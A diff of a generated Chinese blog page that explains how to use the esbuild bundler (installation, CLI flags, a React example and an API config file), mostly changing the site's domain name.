+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用ESbuild打包工具"><meta property="og:description" content="ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
 ESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件
 注意：esbuild并不对ts文件进行类型检查工作
 安装
@@ -35,9 +35,9 @@
 或者
 yarn build
 例子（app.jsx）
-import React from 'react'
import ReactDOM from 'react-dom'
const App = () => {
return (
<div>
<h1>Hallo, Esbuild!</h1>
</div>
)
}
ReactDOM.render(
<App />,
document.getElementById(&#34;app&#34;)
)
index.html
-<div id=&#34;app&#34;></div>
<script src=&#34;./build/index.js&#34;></script>
我本地打包只花64ms就打包好了
-使用source map功能"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/132/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-02-07T13:37:00+00:00"><meta property="article:modified_time" content="2022-02-07T13:37:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用ESbuild打包工具"><meta name=twitter:description content="ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
+import React from 'react' import ReactDOM from 'react-dom' const App = () => { return ( <div> <h1>Hallo, Esbuild!</h1> </div> ) } ReactDOM.render( <App />, document.getElementById(&#34;app&#34;) ) index.html
+<div id=&#34;app&#34;></div> <script src=&#34;./build/index.js&#34;></script> 我本地打包只花64ms就打包好了
+使用source map功能"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/132/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-02-07T13:37:00+00:00"><meta property="article:modified_time" content="2022-02-07T13:37:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用ESbuild打包工具"><meta name=twitter:description content="ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
 ESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件
 注意：esbuild并不对ts文件进行类型检查工作
 安装
@@ -54,46 +54,46 @@
 或者
 yarn build
 例子（app.jsx）
-import React from 'react'
import ReactDOM from 'react-dom'
const App = () => {
return (
<div>
<h1>Hallo, Esbuild!</h1>
</div>
)
}
ReactDOM.render(
<App />,
document.getElementById(&#34;app&#34;)
)
index.html
-<div id=&#34;app&#34;></div>
<script src=&#34;./build/index.js&#34;></script>
我本地打包只花64ms就打包好了
-使用source map功能"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用ESbuild打包工具","item":"https://xiaochenabc123.github.io/posts/132/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用ESbuild打包工具","name":"简单使用ESbuild打包工具","description":"ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css\nESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件\n注意：esbuild并不对ts文件进行类型检查工作\n安装\nnpm install esbuild\n或者\nyarn add esbuild\n打包\n.\\node_modules.bin\\esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\n或者\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\n或者package.json\n\u0026ldquo;build\u0026rdquo;: \u0026ldquo;esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\u0026rdquo;\nnpm run build\n或者\nyarn build\n例子（app.jsx）\nimport React from 'react'\rimport ReactDOM from 'react-dom'\rconst App = () =\u0026gt; {\rreturn (\r\u0026lt;div\u0026gt;\r\u0026lt;h1\u0026gt;Hallo, Esbuild!\u0026lt;/h1\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\rReactDOM.render(\r\u0026lt;App /\u0026gt;,\rdocument.getElementById(\u0026quot;app\u0026quot;)\r)\rindex.html\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\r\u0026lt;script src=\u0026quot;./build/index.js\u0026quot;\u0026gt;\u0026lt;/script\u0026gt;\r我本地打包只花64ms就打包好了\n使用source map功能","keywords":["JavaScript","golang","esbuild"],"articleBody":"ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css\nESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件\n注意：esbuild并不对ts文件进行类型检查工作\n安装\nnpm install esbuild\n或者\nyarn add esbuild\n打包\n.\\node_modules.bin\\esbuild app.jsx –outfile=build/index.js –bundle\n或者\nnpx esbuild app.jsx –outfile=build/index.js –bundle\n或者package.json\n“build”: “esbuild app.jsx –outfile=build/index.js –bundle”\nnpm run build\n或者\nyarn build\n例子（app.jsx）\nimport React from 'react'\rimport ReactDOM from 'react-dom'\rconst App = () =\u003e {\rreturn (\rHallo, Esbuild!\r)\r}\rReactDOM.render(\r,\rdocument.getElementById(\"app\")\r)\rindex.html\n我本地打包只花64ms就打包好了\n使用source map功能\nnpx esbuild app.jsx –outfile=build/index.js –bundle –sourcemap\n使用代码压缩功能–minify\nnpx esbuild app.jsx –outfile=build/index.js –bundle –minify\n指定打包目标环境\nnpx esbuild app.jsx –outfile=build/index.js –bundle –target=es2020,node12\n注意：如果将ES6+语法编译成ES5语法是不被支持的，但是可以将ES5语法编译成ES6+的语法或者ES6语法升级为更先进的语法，也可以将ES6+语法降到ES6语法，就是不能降到ES5（估计这是为啥vite选择这个作为开发环境打包工具，而不是生产环境打包工具的原因吧，只有开发环境下，默认认为是现代浏览器（node）环境下工作的）\n指定输出目标\nnpx esbuild app.jsx –outfile=build/index.js –bundle –target=es2020,node12 –platform=node\n–platform有3个值，分别是browser，node，neutral\n默认情况下使用browser值，会将打包的代码放到IIFE（立即执行函数）中，并且对package.json依赖做出修改，会使用对目标友好的插件或者包来代替原来的\n设置为node时，打包格式是cjs格式（CommonJS），会将其他风格转换为cjs格式\n设置为neutral时，打包格式为esm格式\n指定不进行打包构建的模块\nnpx esbuild app.jsx –outfile=build/index.js –bundle –platform=node –external:react\nesbuild.config.js，api调用文件\nconst postCssPlugin = require('@deanc/esbuild-plugin-postcss')\rconst autoprefixer = require('autoprefixer')\rconst esbuildConig = () =\u003e require('esbuild').buildSync({\rentryPoints: ['src/app.jsx'],\rbundle: true,\rtarget: ['es2020','node12'],\rexternal: ['react'],\rloader: {'.jpg':'dataurl','.js':'jsx'},\rplatform: 'node',\routfile: 'build/index.js',\rplugins: [\rpostCssPlugin({\rplugins: [autoprefixer]\r})\r],\r})\resbuildConig()\r通过执行node ./esbuild.config.js，来调用ESbuild API快速打包 当然也是可以使用npm script来设置\n\"scripts\": {\r\"build\": \"node ./esbuild.config.js\"\r}\rnpm run build\n或者\nyarn build\n添加图片支持（通过转换成base64的方法来引用）\nnpx esbuild app.jsx –outfile=build/index.js –bundle –loader:.jpg=dataurl\n添加tsx支持（可以把tsx文件转换为普通的js文件）\nnpx esbuild app.tsx –outfile=build/index.js –bundle –loader:.js=jsx\nesbuild社区插件库：https://github.com/esbuild/community-plugins\n","wordCount":"181","inLanguage":"en","datePublished":"2022-02-07T13:37:00Z","dateModified":"2022-02-07T13:37:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/132/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用ESbuild打包工具</h1><div class=post-meta><span title='2022-02-07 13:37:00 +0000 UTC'>2022-02-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8ESbuild%e6%89%93%e5%8c%85%e5%b7%a5%e5%85%b7.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css</p><p>ESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件</p><p>注意：esbuild并不对ts文件进行类型检查工作</p><p>安装</p><p>npm install esbuild</p><p>或者</p><p>yarn add esbuild</p><p>打包</p><p>.\node_modules.bin\esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle</p><p>或者</p><p>npx esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle</p><p>或者package.json</p><p>&ldquo;build&rdquo;: &ldquo;esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle&rdquo;</p><p>npm run build</p><p>或者</p><p>yarn build</p><p>例子（app.jsx）</p><pre><code>import React from 'react'
-import ReactDOM from 'react-dom'
-const App = () =&gt; {
-    return (
-        &lt;div&gt;
-            &lt;h1&gt;Hallo, Esbuild!&lt;/h1&gt;
-        &lt;/div&gt;
-    )
-}
-ReactDOM.render(
-    &lt;App /&gt;,
-    document.getElementById(&quot;app&quot;)
-)
-</code></pre><p>index.html</p><pre><code>&lt;div id=&quot;app&quot;&gt;&lt;/div&gt;
-&lt;script src=&quot;./build/index.js&quot;&gt;&lt;/script&gt;
-</code></pre><p>我本地打包只花64ms就打包好了</p><p>使用source map功能</p><p>npx esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle &ndash;sourcemap</p><p>使用代码压缩功能&ndash;minify</p><p>npx esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle &ndash;minify</p><p>指定打包目标环境</p><p>npx esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle &ndash;target=es2020,node12</p><p>注意：如果将ES6+语法编译成ES5语法是不被支持的，但是可以将ES5语法编译成ES6+的语法或者ES6语法升级为更先进的语法，也可以将ES6+语法降到ES6语法，就是不能降到ES5（估计这是为啥vite选择这个作为开发环境打包工具，而不是生产环境打包工具的原因吧，只有开发环境下，默认认为是现代浏览器（node）环境下工作的）</p><p>指定输出目标</p><p>npx esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle &ndash;target=es2020,node12 &ndash;platform=node</p><p>&ndash;platform有3个值，分别是browser，node，neutral</p><p>默认情况下使用browser值，会将打包的代码放到IIFE（立即执行函数）中，并且对package.json依赖做出修改，会使用对目标友好的插件或者包来代替原来的</p><p>设置为node时，打包格式是cjs格式（CommonJS），会将其他风格转换为cjs格式</p><p>设置为neutral时，打包格式为esm格式</p><p>指定不进行打包构建的模块</p><p>npx esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle &ndash;platform=node &ndash;external:react</p><p>esbuild.config.js，api调用文件</p><pre><code>const postCssPlugin = require('@deanc/esbuild-plugin-postcss')
-const autoprefixer = require('autoprefixer')
-const esbuildConig = () =&gt; require('esbuild').buildSync({
-    entryPoints: ['src/app.jsx'],
-    bundle: true,
-    target: ['es2020','node12'],
-    external: ['react'],
-    loader: {'.jpg':'dataurl','.js':'jsx'},
-    platform: 'node',
-    outfile: 'build/index.js',
-    plugins: [
-        postCssPlugin({
-            plugins: [autoprefixer]
-        })
-    ],
-})
-esbuildConig()
+import React from 'react' import ReactDOM from 'react-dom' const App = () => { return ( <div> <h1>Hallo, Esbuild!</h1> </div> ) } ReactDOM.render( <App />, document.getElementById(&#34;app&#34;) ) index.html
+<div id=&#34;app&#34;></div> <script src=&#34;./build/index.js&#34;></script> 我本地打包只花64ms就打包好了
+使用source map功能"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用ESbuild打包工具","item":"https://chenjunlinabc.github.io/posts/132/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用ESbuild打包工具","name":"简单使用ESbuild打包工具","description":"ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css\nESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件\n注意：esbuild并不对ts文件进行类型检查工作\n安装\nnpm install esbuild\n或者\nyarn add esbuild\n打包\n.\\node_modules.bin\\esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\n或者\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\n或者package.json\n\u0026ldquo;build\u0026rdquo;: \u0026ldquo;esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\u0026rdquo;\nnpm run build\n或者\nyarn build\n例子（app.jsx）\nimport React from 'react' import ReactDOM from 'react-dom' const App = () =\u0026gt; { return ( \u0026lt;div\u0026gt; \u0026lt;h1\u0026gt;Hallo, Esbuild!\u0026lt;/h1\u0026gt; \u0026lt;/div\u0026gt; ) } ReactDOM.render( \u0026lt;App /\u0026gt;, document.getElementById(\u0026quot;app\u0026quot;) ) index.html\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script src=\u0026quot;./build/index.js\u0026quot;\u0026gt;\u0026lt;/script\u0026gt; 我本地打包只花64ms就打包好了\n使用source map功能","keywords":["JavaScript","golang","esbuild"],"articleBody":"ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css\nESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件\n注意：esbuild并不对ts文件进行类型检查工作\n安装\nnpm install esbuild\n或者\nyarn add esbuild\n打包\n.\\node_modules.bin\\esbuild app.jsx –outfile=build/index.js –bundle\n或者\nnpx esbuild app.jsx –outfile=build/index.js –bundle\n或者package.json\n“build”: “esbuild app.jsx –outfile=build/index.js –bundle”\nnpm run build\n或者\nyarn build\n例子（app.jsx）\nimport React from 'react' import ReactDOM from 'react-dom' const App = () =\u003e { return ( Hallo, Esbuild! ) } ReactDOM.render( , document.getElementById(\"app\") ) index.html\n我本地打包只花64ms就打包好了\n使用source map功能\nnpx esbuild app.jsx –outfile=build/index.js –bundle –sourcemap\n使用代码压缩功能–minify\nnpx esbuild app.jsx –outfile=build/index.js –bundle –minify\n指定打包目标环境\nnpx esbuild app.jsx –outfile=build/index.js –bundle –target=es2020,node12\n注意：如果将ES6+语法编译成ES5语法是不被支持的，但是可以将ES5语法编译成ES6+的语法或者ES6语法升级为更先进的语法，也可以将ES6+语法降到ES6语法，就是不能降到ES5（估计这是为啥vite选择这个作为开发环境打包工具，而不是生产环境打包工具的原因吧，只有开发环境下，默认认为是现代浏览器（node）环境下工作的）\n指定输出目标\nnpx esbuild app.jsx –outfile=build/index.js –bundle –target=es2020,node12 –platform=node\n–platform有3个值，分别是browser，node，neutral\n默认情况下使用browser值，会将打包的代码放到IIFE（立即执行函数）中，并且对package.json依赖做出修改，会使用对目标友好的插件或者包来代替原来的\n设置为node时，打包格式是cjs格式（CommonJS），会将其他风格转换为cjs格式\n设置为neutral时，打包格式为esm格式\n指定不进行打包构建的模块\nnpx esbuild app.jsx –outfile=build/index.js –bundle –platform=node –external:react\nesbuild.config.js，api调用文件\nconst postCssPlugin = require('@deanc/esbuild-plugin-postcss') const autoprefixer = require('autoprefixer') const esbuildConig = () =\u003e require('esbuild').buildSync({ entryPoints: ['src/app.jsx'], bundle: true, target: ['es2020','node12'], external: ['react'], loader: {'.jpg':'dataurl','.js':'jsx'}, platform: 'node', outfile: 'build/index.js', plugins: [ postCssPlugin({ plugins: [autoprefixer] }) ], }) esbuildConig() 通过执行node ./esbuild.config.js，来调用ESbuild API快速打包 当然也是可以使用npm script来设置\n\"scripts\": { \"build\": \"node ./esbuild.config.js\" } npm run build\n或者\nyarn build\n添加图片支持（通过转换成base64的方法来引用）\nnpx esbuild app.jsx –outfile=build/index.js –bundle –loader:.jpg=dataurl\n添加tsx支持（可以把tsx文件转换为普通的js文件）\nnpx esbuild app.tsx –outfile=build/index.js –bundle –loader:.js=jsx\nesbuild社区插件库：https://github.com/esbuild/community-plugins\n","wordCount":"181","inLanguage":"en","datePublished":"2022-02-07T13:37:00Z","dateModified":"2022-02-07T13:37:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/132/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用ESbuild打包工具</h1><div class=post-meta><span title='2022-02-07 13:37:00 +0000 UTC'>2022-02-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8ESbuild%e6%89%93%e5%8c%85%e5%b7%a5%e5%85%b7.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css</p><p>ESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件</p><p>注意：esbuild并不对ts文件进行类型检查工作</p><p>安装</p><p>npm install esbuild</p><p>或者</p><p>yarn add esbuild</p><p>打包</p><p>.\node_modules.bin\esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle</p><p>或者</p><p>npx esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle</p><p>或者package.json</p><p>&ldquo;build&rdquo;: &ldquo;esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle&rdquo;</p><p>npm run build</p><p>或者</p><p>yarn build</p><p>例子（app.jsx）</p><pre><code>import React from 'react'
+import ReactDOM from 'react-dom'
+const App = () =&gt; {
+    return (
+        &lt;div&gt;
+            &lt;h1&gt;Hallo, Esbuild!&lt;/h1&gt;
+        &lt;/div&gt;
+    )
+}
+ReactDOM.render(
+    &lt;App /&gt;,
+    document.getElementById(&quot;app&quot;)
+)
+</code></pre><p>index.html</p><pre><code>&lt;div id=&quot;app&quot;&gt;&lt;/div&gt;
+&lt;script src=&quot;./build/index.js&quot;&gt;&lt;/script&gt;
+</code></pre><p>我本地打包只花64ms就打包好了</p><p>使用source map功能</p><p>npx esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle &ndash;sourcemap</p><p>使用代码压缩功能&ndash;minify</p><p>npx esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle &ndash;minify</p><p>指定打包目标环境</p><p>npx esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle &ndash;target=es2020,node12</p><p>注意：如果将ES6+语法编译成ES5语法是不被支持的，但是可以将ES5语法编译成ES6+的语法或者ES6语法升级为更先进的语法，也可以将ES6+语法降到ES6语法，就是不能降到ES5（估计这是为啥vite选择这个作为开发环境打包工具，而不是生产环境打包工具的原因吧，只有开发环境下，默认认为是现代浏览器（node）环境下工作的）</p><p>指定输出目标</p><p>npx esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle &ndash;target=es2020,node12 &ndash;platform=node</p><p>&ndash;platform有3个值，分别是browser，node，neutral</p><p>默认情况下使用browser值，会将打包的代码放到IIFE（立即执行函数）中，并且对package.json依赖做出修改，会使用对目标友好的插件或者包来代替原来的</p><p>设置为node时，打包格式是cjs格式（CommonJS），会将其他风格转换为cjs格式</p><p>设置为neutral时，打包格式为esm格式</p><p>指定不进行打包构建的模块</p><p>npx esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle &ndash;platform=node &ndash;external:react</p><p>esbuild.config.js，api调用文件</p><pre><code>const postCssPlugin = require('@deanc/esbuild-plugin-postcss')
+const autoprefixer = require('autoprefixer')
+const esbuildConig = () =&gt; require('esbuild').buildSync({
+    entryPoints: ['src/app.jsx'],
+    bundle: true,
+    target: ['es2020','node12'],
+    external: ['react'],
+    loader: {'.jpg':'dataurl','.js':'jsx'},
+    platform: 'node',
+    outfile: 'build/index.js',
+    plugins: [
+        postCssPlugin({
+            plugins: [autoprefixer]
+        })
+    ],
+})
+esbuildConig()
 </code></pre><p>通过执行node ./esbuild.config.js，来调用ESbuild API快速打包
-当然也是可以使用npm script来设置</p><pre><code>&quot;scripts&quot;: {
-    &quot;build&quot;: &quot;node ./esbuild.config.js&quot;
-}
-</code></pre><p>npm run build</p><p>或者</p><p>yarn build</p><p>添加图片支持（通过转换成base64的方法来引用）</p><p>npx esbuild app.jsx &ndash;outfile=build/index.js &ndash;bundle &ndash;loader:.jpg=dataurl</p><p>添加tsx支持（可以把tsx文件转换为普通的js文件）</p><p>npx esbuild app.tsx &ndash;outfile=build/index.js &ndash;bundle &ndash;loader:.js=jsx</p><p>esbuild社区插件库：https://github.com/esbuild/community-plugins</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/javascript/>JavaScript</a></li><li><a href=https://xiaochenabc123.github.io/tags/golang/>golang</a></li><li><a href=https://xiaochenabc123.github.io/tags/esbuild/>esbuild</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/134/><span class=title>« Prev</span><br><span>beego应用框架的简单使用</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/131/><span class=title>Next »</span><br><span>简单使用GitHub Actions来实现CI/CD</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+当然也是可以使用npm script来设置</p><pre><code>&quot;scripts&quot;: {
+    &quot;build&quot;: &quot;node ./esbuild.config.js&quot;
+}
